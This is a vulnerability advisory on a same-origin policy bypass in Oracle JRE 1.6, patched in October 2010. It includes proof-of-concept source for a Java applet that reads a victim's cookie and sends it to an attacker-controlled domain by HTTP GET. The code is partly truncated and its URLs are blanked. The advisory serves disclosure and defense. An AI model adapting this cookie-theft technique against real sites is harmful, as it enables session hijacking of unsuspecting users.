Oracle JRE - class Same-of-Origin 'SOP' Policy Bypass







Description discovered that a Java Applet making use of class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.


The Flash movie demo can be viewed at the following link:

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts and resolve to the same IP address;
2. A malicious user controls web site;
3. A malicious user targets users.

The following table summarises the sequence of actions shown in demo:
1 User has a valid cookie for
2 The same user visits which performs a cross site forged
  request to . The forged request is performed by a Java
  Applet embedded on the malicious site. The Java Applet bypasses the Same-of-
  Origin policy (SOP) as an unsigned Java Applet should not be able to communica
  from to without a crossdomain.xml
  policy file.
3 Java Applet performs first GET request to At this stage, th
  Java Applet already controls the Cookie: header sent to
  through the getRequestProperty("cookie") method. This is in breach with SOP.
4 A second request is done for the purpose of the demo which leaks cookie’s to via an HTTP GET request.

Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP):

Mozilla Firefox 3.5.8
Opera 10.60
Internet Explorer 6.0.2900.5512
Google Chrome 5.0.375.9
Internet Explorer 8.0.6001.18702
Safari 5.0 (7533.16)

import java.awt.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    public void start() {
      try {
                             URL url = new URL("");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             messageLog.append("Request Property
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
                             messageLog.append("Request Property
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
      catch (IOException e) {
          System.err.println("Exception: " + e);


Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:

About is Australasia’s leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us: